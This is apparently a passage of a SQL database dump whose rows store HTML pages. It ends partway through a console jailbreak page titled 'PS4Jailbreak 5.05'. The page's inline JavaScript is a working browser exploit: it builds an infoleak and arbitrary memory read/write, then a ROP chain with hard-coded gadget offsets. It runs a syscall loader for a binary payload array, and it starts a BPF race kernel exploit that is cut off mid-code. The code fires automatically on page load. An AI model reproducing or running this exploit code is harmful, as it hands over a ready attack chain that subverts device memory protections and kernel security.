,361580767,6476,2838859080,3892314128,4294966219,2370363273,1701653,898451456,4251,4294686440,1222609407,416945549,2370306048,1084981,4221691904,3750363135,3038088520,1207959576,276903309,2364014592,2315255803,361580767,6696,1983221064,3892314128,4294966135,2370363273,1602325,898451456,4201,4294664936,1222609407,409343373,2370306048,1072181,4216186880,3750363135,3776286024,1207959577,273757581,954728448,2315255803,361580767,6332,1161137480,3892314128,4294966051,2370363273,1589013,898451456,4150,4294643432,1222609407,419042701,2370306048,1060149,4210681856,3750363135,3306523976,1207959576,270415245,3840409600,2315255802,361580767,6480,255167816,3892314128,4294965967,2370363273,1585941,898451456,4097,4294621928,1222609407,415634829,2370306048,1045045,4205176832,3750363135,3239415112,1207959576,266548621,2431123456,2315255802,2370329567,1563413,898451456,4052,4294605545,1032540415,6560,2031455560,1207959577,264385933,1625817088,2348810234,1673021,361580544,6448,3124071752,3892314127,4294965831,426655115,2370306048,1640213,898451456,4016,4294586088,1430096895,1207959577,421926285,2370306048,1026101,4195739648,1032585215,6460,3977612616,1207959576,262026637,4243062784,2348810233,1647421,361580544,6340,2503314760,3892314127,4294965731,420101515,2370306048,1610517,898451456,3979,4294560488,4047342591,1207959576,413799821,2370306048,1016629,4189186048,1032585215,6360,1494584648,1207959576,259929485,2565341184,2348810233,1621821,361580544,6304,2083884360,3892314127,4294965631,413547915,2370306048,1586965,898451456,3959,4294534888,2369620991,1207959576,408294797,2370306048,1013045,4182632448,1032585215,6260,890604872,1493172248,1949666632,3909091343,4294965555,633390920,3909091328,955,918603592,3909091328,943,197183304,3909091328,931,892702024,1375731736,1379765576,1207959567,412747207,0,602406912,2248146937,1210741952,403846541,2370306048,999229,4178372608,3230007295,2370311028,1571637,1032669184,3899,4294505960,3913124863,1207959575,401216909,2370306048,996661,4171884544,1032585215,6096,152407368,1207959576,254686605,2431123456,2348810232,1554237,361580544,6184,641043784,3892314127,4294965367,396246411,2370306048,1568533,898451456,3861,4294467304,2235403263,1207959575,404100493,2370306048,985909,4165330944,1032585215,5996,622169416,1207959576,252392845,753401856,2348810232,1528637,361580544,6036,271945032,3892314127,4294965267,389692811,2370306048,1557269,898451456,3856,4294441704,557681663,1207959575,402789773,2370306048,984373,4158777344,1032585215,5896,1763020104,1207959575,251278733,3370647552,2348810231,1503037,361580544,6000,4013264200,3892314126,4294965167,383139211,2370306048,1535765,898451456,3813,4294416104,3174927359,1207959574,383128973,2370306048,973621,4152223744,1032585215,5796,1695911240,1207959575,248591757,1692925952,2348810231,1477437,361580544,5748,3358952776,3892314126,4294965067,376585611,2370306048,1514261,898451456,3781,4294390504,1497205759,1207959574,377099661,2370306048,967733,4145670144,1032585215,5696,2568326472,1207959574,247608717,15204352,2348810231,1451837,361580544,5920,2956299592,3892314126,4294964967,370032011,2370306048,1464085,898451456,3748,4294364904,4114451455,1207959573,368973197,2370306048,955189,4139116544,1032585215,5596,2903870792,1207959574,243348877,2632450048,2348810230,1426237,361580544,5732,1966443848,3892314126,4294964867,363478411,2370306048,1475349,898451456,3699,4294339304,2436729855,1207959573,364516749,2370306048,946229,4132562944,1032585215,5496,1091931464,1207959574,242038157,954728448,2348810230,1400637,361580544,5712,1781894472,3892314126,4294964767,356924811,2370306048,1406741,898451456,3687,4294313704,759008255,1207959573,354293133,2370306048,939317,4126009344,1032585215,5396,622169416,1207959573,239285645,3571974144,2348810229,1375037,361580544,5604,825593160,3892314126,4294964667,350371211,2370306048,1399573,898451456,3615,4294288104,3376253951,1207959572,360322445,2370306048,920885,4119455744,1032585215,5296,420842824,1476395029,4231368008,3909091341,4294964591,1237332296,84920969,1220739442,352402819,1946157056,369053720,5368,1208519001,4294951111,3343450111,4294967234,1931854847,168430090,657930,620768814,1931816819,1752460800,1684104562,1852649216,1937059700,774844514,1953655140,7631717,1953393967,1651733807,1680748337,1702130281,788558963,1953724787,1683975525,794915937,1986622064,1936551215,1886413103,1600283694,1801675106,788557941,1953724787,1683975525,794915937,1986622064,1936551215,1886413103,6448174,1937339183,1601004916,1635017060,1769107503,1835872118,1684090739,1852793700,1650732660,1667326559,7370091,1937339183,1601004916,1635017060,1769107503,1835872118,1684090739,1852793700,1650732660,2037591808,1835365491,1952539743,1919954785,1831827049,1630499693,1868783478,1852142702,1734500212,1600283694,1801675106,788557941,1953724787,1683975525,794915937,1986622064,1936551215,1601593647,1953394531,1601465957,1680762722,1966014562,796026227,1953724787,1999596901,1768645221,1702047604,1701999971,1886413103,1751343459,1883320165,1667853424,1869182049,1667318638,1680762216,1633836898,1886743395,1937059584,1932489317,1702130553,1702309741,1953065826,1667593007,795177589,1668313185,1701340001,1886404911,1633905004,1852795252,1751343427,1650732645,1937059584,1932489317,1702130553,1702309741,1953065826,1650816815,2003792482,796026227,1668313185,1701340001,1886404911,1633905004,1852795252,1751343427,1650732645,1667326559,7370091,1702065455,2037591922,1835365491,1650816815,796158315,1650615671,1937207154,1630499429,1633906800,795175011,1819308097,1952539497,1131310953,1701340001,6448174,1702129225,1818324594,1667326496,544241003,1886220131,1702126956,1750338094,1998615401,1864397665,544828526,1633951841,1633837428,1646290291,1969972065,1937055856,543236197,543322997,1986622052,1868963941,1969627250,1646292076,1969972065,1107308144,1768645473,1965057902,1869881456,1112757536,1831796785,1966044270,791765619,1147093572,1969972065,788541296,796159597,828535669,1598178351,1801675076,1630498933,1680765040,1831796834,1966044270,791765619,1147093572,1969972065,1684090736,1852793700,1650732660,1852649216,1937059700,1143943522,1631870786,1886743395,1601593647,1953394531,1601465957,1680762722,1831796834,1966044270,791765619,1919251285,1635017028,1831796783,1966044270,791765619,1919251285,1635017028,1937339183,1601004916,1635017060,1831796783,1966044270,791765619,1919251285,1635017028,1937339183,1601004916,1635017060,1986097967,1952539749,1831796833,1966044270,791765619,1919251285,1635017028,1937339183,1601004916,1635017060,1769107503,1831796854,1966044270,791765619,1919251285,1635017028,1937339183,1601004916,1635017060,1769107503,1869098870,788555117,796159597,828535669,1702057263,1952531570,2037591905,1835365491,1952539743,1919954785,1815049833,1852138345,788555123,796159597,828535669,1702057263,1952531570,2037591905,1835365491,1952539743,1919954785,1630500457,1986622563,1869182049,1831796846,1966044270,791765619,1919251285,1635017028,1702065455,788541298,796159597,828535669,1702057263,1952531570,1937059681,1747939941,795176303,1852649216,1937059700,1429156194,1148347763,794915937,1919251317,1869771823,7956592,1953393967,1651733807,1934962481,1631875685,1966039412,796026227,1701013868,6648686,1953393967,1651733807,1934962481,1631875685,1966039412,796026227,1953785203,1936158313,1852649216,1937059700,1429156194,1148347763,794915937,1919251317,1937339183,7169396,1953393967,1651733807,1934962481,1631875685,1966039412,796026227,1953724787,1999596901,1768645221,1831796852,1966044270,791765619,1919251285,1635017028,1702065455,2037591922,1835365491,1650816815,796158315,1969448307,788555122,796159597,828535669,1702057263,1952531570,1937059681,1932489317,1702130553,1702309741,1953065826,1650816815,2003792482,7497075,2037411651,979857001,1702057248,1631854706,1342857588,1935762796,1635197029,3044457,1953393967,1651733807,1934962481,1631875685,1966039412,796026227,1701670760,1112757504,1667318304,544241003,1886220099,1702126956,1631715374,1852402531,1886724199,544175136,809653077,1852649216,1937059700,1143943266,1631870786,1886743395,1831796783,1966044270,791700083,1147093572,1969972065,1885417328,1650732656,1852649216,1937059700,1143943266,1631870786,1886743395,1684300079,1953394531,6448174,1953393967,1651733807,1111764784,1667318879,795899243,1667200609,1702129263,1650422894,1650732647,1852649216,1937059700,1429155938,1148347763,794915937,1852649216,1937059700,1429155938,1148347763,794915937,1953724787,1683975525,794915937,1852649216,1937059700,1429155938,1148347763,794915937,1953724787,1683975525,794915937,1702257011,1635017060,1852649216,1937059700,1429155938,1148347763,794915937,1953724787,1683975525,794915937,1986622064,1852649216,1937059700,1429155938,1148347763,794915937,1953724787,1683975525,794915937,1986622064,1836017711,1831796837,1966044270,791700083,1919251285,1635017028,1937339183,1601004916,1635017060,1769107503,1768697718,1936614755,1831796837,1966044270,791700083,1919251285,1635017028,1937339183,1601004916,1635017060,1769107503,1667313526,1635150196,1852795252,1852649216,1937059700,1429155938,1148347763,794915937,1919251317,1831796783,1966044270,791700083,1919251285,1635017028,1702065455,1869098866,3106157,1953393967,1651733807,1934962480,1631875685,1966039412,796026227,1886351988,788560232,796159597,811758453,1702057263,1952531570,1937059681,1815048805,1852138345,788555123,796159597,811758453,1702057263,1952531570,1937059681,1932489317,1769239653,7563118,1953393967,1651733807,1934962480,1631875685,1966039412,796026227,1953724787,788557157,796159597,811758453,1702057263,1952531570,1937059681,1932489317,1702130553,1702309741,1953065826,1852649216,1937059700,1429155938,1148347763,794915937,1919251317,1937339183,795698548,1801610615,1932489833,1920295781,1831796837,1966044270,791700083,1919251285,1635017028,1702065455,2037591922,1835365491,1650816815,796158315,1650615671,1937207154,788558437,796159597,811758453,1702057263,1952531570,1937059681,1747939941,6647151,1937339183,795698548,1835888483,1815047791,1815044713,1666409065,1937331045,1818850389,1919972142,1668481144,1937331045,1818850389,1684956499,1953724755,1867410789,1768319348,1769234787,1767337583,1700030580,1811969144,1666409065,1937331045,1969516397,1932420460,7893616,1399153523,1869443961,1701606756,1684107084,1969516365,1811965292,1666409065,1651068005,1953384803,1634628197,1886596716,1828747378,1869376609,1919287395,1660970341,1869376609,1701970019,1869376609,1701642339,1768710509,1828744807,1702063461,1701642356,2037408621,1835363584,7368035,1668445299,1929410928,1668182644,1929410928,1633907316,1953693812,1633906290,1953693812,1852140658,1920234240,7368035,1852994675,7368035,1769107571,6714478,1919970931,1718906473,1668510464,6712929,1668445299,1929409128,1668444788,1929409128,1953722996,1953693810,1886741618,1852404224,7890276,1768190825,7629159,1768911969,1920234240,2037408620,1920234240,1869771365,1197408370,1668314213,1701869940,1951620864,7107951,1886348130,1920139385,6581857,1952674657,6647145,1952674657,1600482665,1835466866,1701669236,1953326848,1600482665,1869348979,1953259875,6647145,1633906540,1835627628,7495525,1769237357,1862296941,1684956528,1912631913,1684300133,1912631913,1684300133,1918857833,1818588160,1919509612,1701147392,1919509611,2003137024,1684303465,1660973673,1702063980,7498084,1718774116,1701249124,1869770868,1835101799,1868955749,7234928,1634038374,2003173476,1702127986,1702061568,1711303525,1819043188,1818453504,6648687,1769107558,6714478,1348821875,1701996660,1917019233,1702125925,1701016320,1919448144,1164206437,7629176,1348821875,1701996660,1698980961,1751343476,1701016320,1919448144,1248092517,7235951,1348821875,1701996660,1767466081,6581349,1348821875,1701996660,1699964001,1929406060,1951425891,1634038376,1851868004,7103843,1348821875,1701996660,1968006241,1232627060,7629166,1348821875,1701996660,1968006241,1148740980,1920234341,1929410927,1951425891,1634038376,1953844580,1867282533,1929407331,1951425891,1634038376,1953844580,1918138469,1668246649,1668481131,1752453221,1684104562,1702131021,1835619448,1869374565,1929407331,1951425891,1634038376,1953844580,1851095141,1801678700,1651076096,1852990827,1932422245,7893616,1801611628,1701737061,1702322028,1886596706,1811970162,1701536361,1818586738,1937339231,1919972142,1600061560,1667331187,1751342955,1969708907,6582881,1953718111,1600873313,1600874595,1818845542,1700749056,1919906418,1701016320,1852990795,1917152357,7499634,1264935795,1701737061,1634684012,1635013476,1867347058,1701606756,1701016320,1852990795,1816226917,1633906540,1766090100,1952671090,1869440333,1929410930,1699439971,1818586738,1148215629,1667592809,1835355508,7959151,1264935795,1701737061,1635013484,1668481140,1919241061,1332503918,7234928,1264935795,1701737061,1634030188,1668481124,1919241061,1282172270,1801807219,1701016320,1852990795,1816357989,6648687,1264935795,1701737061,1701598060,1929408613,1699439971,1818586738,1701606229,1929408613,1699439971,1818586738,1953785159,1868918121,2036425830,1701016320,1852990795,1699179621,1869762676,1936942435,1701669204,1701016320,1852990795,1699179621,1920287604,1953391986,7696451,1668512115,1929407604,1952674681,1853448812,6647137,1634957683,6841202,1667594341,1879074166,1701996660,1935631457,6712421,1919448176,1600414053,1635018099,1852401254,1601795177,1929408622,1699439971,1818586738,1634038339,1900373364,1702192501,1701016320,1852990795,1698983013,1702126956,1702195525,1929405813,1699439971,1818586738,1432642625,1165124979,1953391990,1701016320,1852990795,1682009189,1634030180,1702249828,1728083054,1769305189,1701249124,1684629364,1952802560,6580592,1970562419,1929405545,1768387685,1702035556,1969582708,1929405545,1701999717,6580583,0,0,0,0,0,0,0];for(var i=0;i<payload.length;i++){payloadbuf.backing[i]=payload[i];};p.syscall(74,payloadbuf,65536,7);p.syscall(324,1);p.fcall(createThread,payloadbuf,0,p.sptr("payload"));done();}</script></body></html>',NULL);
INSERT INTO `CacheResourceData` VALUES (5,'<!DOCTYPE html><html><head><title>PS4Jailbreak 5.05</title><meta name=viewport content="width=device-width, initial-scale=1"><style>.loader{position:absolute;left:50%;top:50%;margin:-75px 0 0 -75px;border:10px solid #f3f3f3;border-radius:50%;border-top:10px solid #044595;border-left:10px solid #044595;width:120px;height:120px;-webkit-animation:spin 1s linear infinite}.info{overflow:hidden;position:fixed;position:absolute;top:50%;left:50%;font-size:45px;font-family:sans-serif;transform:translate(-50%,-50%)}.credits{overflow:hidden;position:fixed;position:absolute;top:90%;left:50%;font-size:16px;font-family:sans-serif;text-align:center;transform:translate(-50%,-90%)}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg)}}</style></head><body style=margin:0><div id=loader class=loader></div><div id=done class=info style=display:none>Done.</div><div id=fail class=info style=display:none>Fail!</div><div id=footer class=credits><ul style=list-style:none;padding-left:0><li><a href=#>qwertyoruiopz</a></li><li><a href=#>flatz</a></li><li><a href=#>specter</a></li><li><a href=#>xvortex</a></li><li>anonymous contributors</li></ul></div><script>var p;var s={};var g={};var gc={"pop_r8":96709,"pop_r9":12268047,"pop_rax":17397,"pop_rcx":339545,"pop_rdx":1826852,"pop_rsi":586634,"pop_rdi":232890,"pop_rsp":124551,"jmp_rax":130,"jmp_rdi":2711166,"mov_rdx_rax":3488561,"mov_rdi_rax":22692143,"mov_rax_rdx":1896224,"mov_rbp_rsp":985418,"mov__rdi__rax":3857131,"mov__rdi__rsi":146114,"mov__rax__rsi":2451047,"mov_rax__rax__":444474,"mov_rax__rdi__":290553,"add_rax_rsi":1384646,"and_rax_rsi":22481823,"add_rdi_rax":5593055,"jop":800720,"ret":60,"stack_chk_fail":200,"setjmp":5368};window.onload=function(){setTimeout(exploit,3000);};window.onerror=function(e){document.getElementById("loader").style.display="none";document.getElementById("fail").style.display="block";if(e.startsWith("Error:")==true){alert(e);}else{location.reload();};};function done(){document.getElementById("loader").style.display="none";document.getElementById("done").style.display="block";};var rop=function(){this.stack=new Uint32Array(65536);this.stackBase=p.read8(p.leakval(this.stack).add32(16));this.count=0;this.clear=function(){this.count=0;this.runtime=undefined;for(var i=0;i<4080/2;i++){p.write8(this.stackBase.add32(i*8),0);};};this.pushSymbolic=function(){this.count++;return this.count-1;};this.finalizeSymbolic=function(idx,val){p.write8(this.stackBase.add32(idx*8),val);};this.push=function(val){this.finalizeSymbolic(this.pushSymbolic(),val);};this.push_write8=function(where,what){this.push(g.pop_rdi);this.push(where);this.push(g.pop_rsi);this.push(what);this.push(g.mov__rdi__rsi);};this.fcall=function(rip,rdi,rsi,rdx,rcx,r8,r9){if(rdi!=undefined){this.push(g.pop_rdi);this.push(rdi);};if(rsi!=undefined){this.push(g.pop_rsi);this.push(rsi);};if(rdx!=undefined){this.push(g.pop_rdx);this.push(rdx);};if(rcx!=undefined){this.push(g.pop_rcx);this.push(rcx);};if(r8!=undefined){this.push(g.pop_r8);this.push(r8);};if(r9!=undefined){this.push(g.pop_r9);this.push(r9);};this.push(rip);return this;};this.run=function(){var retv=p.loadchain(this,this.notimes);this.clear();return retv;};return this;};function makeid(){var text="";var possible="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";for(var i=0;i<8;i++){text+=possible.charAt(Math.floor(Math.random()*possible.length));};return text;};var instancespr=[];for(var i=0;i<4096;i++){instancespr[i]=new Uint32Array(1);instancespr[i][makeid()]=50057;};var _dview;function u2d(low,hi){if(!_dview)_dview=new DataView(new ArrayBuffer(16));_dview.setUint32(0,hi);_dview.setUint32(4,low);return _dview.getFloat64(0);};function zeroFill(number,width){width-=number.toString().length;if(width>0){return new Array(width+(/\./.test(number)?2:1)).join("0")+number;};return number+"";};function int64(low,hi){this.low=(low>>>0);this.hi=(hi>>>0);this.add32=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;};return new int64(new_lo,new_hi);};this.add32inplace=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;};this.hi=new_hi;this.low=new_lo;};this.sub32=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;};return new int64(new_lo,new_hi);};this.sub32inplace=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;};this.hi=new_hi;this.low=new_lo;};this.toString=function(val){val=16;var lo_str=(this.low>>>0).toString(val);var hi_str=(this.hi>>>0).toString(val);if(this.hi==0)return lo_str;else{lo_str=zeroFill(lo_str,8);};return hi_str+lo_str;};return this;};var nogc=[];var tgt={a:0,b:0,c:0,d:0};var y=new ImageData(1,16384);postMessage("","*",[y.data.buffer]);var props={};for(var i=0;i<16384/2;){props[i++]={value:1111638594};props[i++]={value:tgt};};var foundLeak=undefined;var foundIndex=0;var maxCount=256;while(foundLeak==undefined&&maxCount>0){maxCount--;history.pushState(y,"");Object.defineProperties({},props);var leak=new Uint32Array(history.state.data.buffer);for(var i=0;i<leak.length-6;i++){if(leak[i]==1111638594&&leak[i+1]==4294901760&&leak[i+2]==0&&leak[i+3]==0&&leak[i+4]==0&&leak[i+5]==0&&leak[i+6]==14&&leak[i+7]==0&&leak[i+10]==0&&leak[i+11]==0&&leak[i+12]==0&&leak[i+13]==0&&leak[i+14]==14&&leak[i+15]==0){foundIndex=i;foundLeak=leak;break;};};};if(!foundLeak){throw new Error("infoleak fail");};Array.prototype.__defineGetter__(100,()=>1);var firstLeak=Array.prototype.slice.call(foundLeak,foundIndex,foundIndex+64);var leakJSVal=new int64(firstLeak[8],firstLeak[9]);var f=document.body.appendChild(document.createElement("iframe"));var a=new f.contentWindow.Array(13.37,13.37);var b=new f.contentWindow.Array(u2d(leakJSVal.low+16,leakJSVal.hi),13.37);var master=new Uint32Array(4096);var slave=new Uint32Array(4096);var leakval_u32=new Uint32Array(4096);var leakval_helper=[slave,2,3,4,5,6,7,8,9,10];tgt.a=u2d(2048,23077632);tgt.b=0;tgt.c=leakval_helper;tgt.d=4919;var c=Array.prototype.concat.call(a,b);document.body.removeChild(f);var hax=c[0];c[0]=0;tgt.c=c;hax[2]=0;hax[3]=0;Object.defineProperty(Array.prototype,100,{get:undefined});tgt.c=leakval_helper;var butterfly=new int64(hax[2],hax[3]);butterfly.low+=16;tgt.c=leakval_u32;var lkv_u32_old=new int64(hax[4],hax[5]);hax[4]=butterfly.low;hax[5]=butterfly.hi;tgt.c=master;hax[4]=leakval_u32[0];hax[5]=leakval_u32[1];var a2sb=new int64(master[4],master[5]);tgt.c=leakval_u32;hax[4]=lkv_u32_old.low;hax[5]=lkv_u32_old.hi;tgt.c=0;hax=0;var p={write8:function(addr,val){master[4]=addr.low;master[5]=addr.hi;if(val instanceof int64){slave[0]=val.low;slave[1]=val.hi;}else{slave[0]=val;slave[1]=0;};master[4]=a2sb.low;master[5]=a2sb.hi;},write4:function(addr,val){master[4]=addr.low;master[5]=addr.hi;slave[0]=val;master[4]=a2sb.low;master[5]=a2sb.hi;},read8:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=new int64(slave[0],slave[1]);master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},read4:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=slave[0];master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},leakval:function(jsval){leakval_helper[0]=jsval;var rtv=this.read8(butterfly);this.write8(butterfly,new int64(1094795585,4294901760));return rtv;}};var get_jmptgt=function(addr){var z=p.read4(addr)&65535;var y=p.read4(addr.add32(2));if(z!=9727)return 0;return addr.add32(y+6);};var exploit=function(){p.leakfunc=function(func){var fptr_store=p.leakval(func);return(p.read8(fptr_store.add32(24))).add32(64);};var parseFloatStore=p.leakfunc(parseFloat);var webKitBase=p.read8(parseFloatStore);webKitBase.low&=4294963200;webKitBase.sub32inplace(5881856-147456);var o2wk=function(o){return webKitBase.add32(o);};for(var gn in gc){if(gc.hasOwnProperty(gn)){g[gn]=o2wk(gc[gn]);};};var libKernelBase=p.read8(get_jmptgt(g.stack_chk_fail));libKernelBase.low&=4294963200;libKernelBase.sub32inplace(53248+16384);var wkview=new Uint8Array(4096);var wkstr=p.leakval(wkview).add32(16);p.write8(wkstr,webKitBase);p.write4(wkstr.add32(8),57131008);var hold1;var hold2;var holdz;var holdz1;while(1){hold1={a:0,b:0,c:0,d:0};hold2={a:0,b:0,c:0,d:0};holdz1=p.leakval(hold2);holdz=p.leakval(hold1);if(holdz.low-48==holdz1.low)break;};var pushframe=[];pushframe.length=128;var funcbuf;var funcbuf32=new Uint32Array(256);nogc.push(funcbuf32);var launch_chain=function(chain){var stackPointer=0;var stackCookie=0;var orig_reenter_rip=0;var reenter_help={length:{valueOf:function(){orig_reenter_rip=p.read8(stackPointer);stackCookie=p.read8(stackPointer.add32(8));var returnToFrame=stackPointer;var ocnt=chain.count;chain.push_write8(stackPointer,orig_reenter_rip);chain.push_write8(stackPointer.add32(8),stackCookie);if(chain.runtime)returnToFrame=chain.runtime(stackPointer);chain.push(g.pop_rsp);chain.push(returnToFrame);chain.count=ocnt;p.write8(stackPointer,(g.pop_rsp));p.write8(stackPointer.add32(8),chain.stackBase);}}};funcbuf=p.read8(p.leakval(funcbuf32).add32(16));p.write8(funcbuf.add32(48),g.setjmp);p.write8(funcbuf.add32(128),g.jop);p.write8(funcbuf,funcbuf);p.write8(parseFloatStore,g.jop);var orig_hold=p.read8(holdz1);var orig_hold48=p.read8(holdz1.add32(72));p.write8(holdz1,funcbuf.add32(80));p.write8(holdz1.add32(72),funcbuf);parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);p.write8(holdz1,orig_hold);p.write8(holdz1.add32(72),orig_hold48);stackPointer=p.read8(funcbuf.add32(16));rtv=Array.prototype.splice.apply(reenter_help);return p.leakval(rtv);};p.loadchain=launch_chain;var kview=new Uint8Array(4096);var kstr=p.leakval(kview).add32(16);p.write8(kstr,libKernelBase);p.write4(kstr.add32(8),262144);var countbytes;for(var i=0;i<262144;i++){if(kview[i]==114&&kview[i+1]==100&&kview[i+2]==108&&kview[i+3]==111&&kview[i+4]==99){countbytes=i;break;};};p.write4(kstr.add32(8),countbytes+32);var dview32=new Uint32Array(1);var dview8=new Uint8Array(dview32.buffer);for(var i=0;i<countbytes;i++){if(kview[i]==72&&kview[i+1]==199&&kview[i+2]==192&&kview[i+7]==73&&kview[i+8]==137&&kview[i+9]==202&&kview[i+10]==15&&kview[i+11]==5){dview8[0]=kview[i+3];dview8[1]=kview[i+4];dview8[2]=kview[i+5];dview8[3]=kview[i+6];var syscallno=dview32[0];s[syscallno]=libKernelBase.add32(i);};};var chain=new rop();var returnvalue;p.fcall_=function(rip,rdi,rsi,rdx,rcx,r8,r9){chain.clear();chain.notimes=this.next_notime;this.next_notime=1;chain.fcall(rip,rdi,rsi,rdx,rcx,r8,r9);chain.push(g.pop_rdi);chain.push(chain.stackBase.add32(16376));chain.push(g.mov__rdi__rax);chain.push(g.pop_rax);chain.push(p.leakval(1094795842));if(chain.run().low!=1094795842){throw new Error("unexpected rop behaviour");};returnvalue=p.read8(chain.stackBase.add32(16376));};p.fcall=function(){p.fcall_.apply(this,arguments);return returnvalue;};p.readstr=function(addr){var addr_=addr.add32(0);var rd=p.read4(addr_);var buf="";while(rd&255){buf+=String.fromCharCode(rd&255);addr_.add32inplace(1);rd=p.read4(addr_);};return buf;};p.syscall=function(sysc,rdi,rsi,rdx,rcx,r8,r9){if(typeof sysc!="number"){throw new Error("invalid syscall");};var off=s[sysc];if(off==undefined){throw new Error("invalid syscall");};return p.fcall(off,rdi,rsi,rdx,rcx,r8,r9);};p.sptr=function(str){var bufView=new Uint8Array(str.length+1);for(var i=0;i<str.length;i++){bufView[i]=str.charCodeAt(i)&255;};nogc.push(bufView);return p.read8(p.leakval(bufView).add32(16));};p.malloc=function(sz){var backing=new Uint8Array(65536+sz);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=backing;return ptr;};p.malloc32=function(sz){var backing=new Uint8Array(65536+sz*4);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=new Uint32Array(backing.buffer);return ptr;};var test=p.syscall(23,0);if(test!="0"){var fd=p.syscall(5,p.sptr("/dev/bpf0"),2).low;var fd1=p.syscall(5,p.sptr("/dev/bpf0"),2).low;if(fd==(-1>>>0)){throw new Error("open bpf fail");};var bpf_valid=p.malloc32(16384);var bpf_spray=p.malloc32(16384);var bpf_valid_u32=bpf_valid.backing;var bpf_valid_prog=p.malloc(64);p.write8(bpf_valid_prog,2048/8);p.write8(bpf_valid_prog.add32(8),bpf_valid);var bpf_spray_prog=p.malloc(64);p.write8(bpf_spray_prog,2048/8);p.write8(bpf_spray_prog.add32(8),bpf_spray);for(var i=0;i<1024;){bpf_valid_u32[i++]=6;bpf_valid_u32[i++]=0;};var rtv=p.syscall(54,fd,2148549243,bpf_valid_prog);if(rtv.low!=0){throw new Error("ioctl bpf fail");};var spawnthread=function(name,chain){var longjmp=webKitBase.add32(5352);var createThread=webKitBase.add32(7836560);var contextp=p.malloc32(8192);var contextz=contextp.backing;contextz[0]=1337;var thread2=new rop();thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);chain(thread2);p.write8(contextp,g.ret);p.write8(contextp.add32(16),thread2.stackBase);p.syscall(324,1);var retv=function(){p.fcall(createThread,longjmp,contextp,p.sptr(name));};nogc.push(contextp);nogc.push(thread2);return retv;};var interrupt1,loop1;var sock=p.syscall(97,2,2);var kscratch=p.malloc32(4096);var start1=spawnthread("GottaGoFast",function(thread2){interrupt1=thread2.stackBase;thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.pop_rdi);thread2.push(fd);thread2.push(g.pop_rsi);thread2.push(2148549243);thread2.push(g.pop_rdx);thread2.push(bpf_valid_prog);thread2.push(g.pop_rsp);thread2.push(thread2.stackBase.add32(2048));thread2.count=256;var cntr=thread2.count;thread2.push(s[54]);thread2.push_write8(thread2.stackBase.add32(cntr*8),s[54]);thread2.push(g.pop_rdi);var wherep=thread2.pushSymbolic();thread2.push(g.pop_rsi);var whatp=thread2.pushSymbolic();thread2.push(g.mov__rdi__rsi);thread2.push(g.pop_rsp);loop1=thread2.stackBase.add32(thread2.count*8);thread2.push(1094795585);thread2.finalizeSymbolic(wherep,loop1);thread2.finalizeSymbolic(whatp,loop1.sub32(8));});var krop=new rop();var race=new rop();var ctxp=p.malloc32(8192);var ctxp1=p.malloc32(8192);var ctxp2=p.malloc32(8192);p.write8(bpf_spray.add32(16),ctxp);p.write8(ctxp.add32(80),0);p.write8(ctxp.add32(104),ctxp1);var stackshift_from_retaddr=0;p.write8(ctxp1.add32(16),o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(ctxp.add32(0),ctxp2);p.write8(ctxp.add32(16),ctxp2.add32(8));p.write8(ctxp2.add32(2000),o2wk(7271653));var iterbase=ctxp2;for(var i=0;i<15;i++){p.write8(iterbase,o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(iterbase.add32(2000+32),o2wk(7271653));p.write8(iterbase.add32(8),iterbase.add32(32));p.write8(iterbase.add32(24),iterbase.add32(32+8));iterbase=iterbase.add32(32);};var raxbase=iterbase;var rdibase=iterbase.add32(8);var memcpy=get_jmptgt(webKitBase.add32(248));memcpy=p.read8(memcpy);p.write8(raxbase,o2wk(22848539));stackshift_from_retaddr+=8;p.write8(rdibase.add32(112),o2wk(19417140));stackshift_from_retaddr+=8;p.write8(rdibase.add32(24),rdibase);p.write8(rdibase.add32(8),krop.stackBase);p.write8(raxbase.add32(48),g.mov_rbp_rsp);p.write8(rdibase,raxbase);p.write8(raxbase.add32(1056),o2wk(2566497));p.write8(raxbase.add32(64),memcpy.add32(194-144));var topofchain=stackshift_from_retaddr+40;p.write8(rdibase.add32(176),topofchain);for(var i=0;i<4096/8;i++){p.write8(krop.stackBase.add32(i*8),g.ret);};krop.count=16;var kpatch=function(offset,qword){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.pop_rsi);krop.push(qword);krop.push(g.mov__rax__rsi);};var kpatch2=function(offset,offset2){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset2);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);};p.write8(kscratch.add32(1056),g.pop_rdi);p.write8(kscratch.add32(64),g.pop_rax);p.write8(kscratch.add32(24),kscratch);krop.push(g.pop_rdi);krop.push(kscratch.add32(24));krop.push(g.mov_rbp_rsp);var 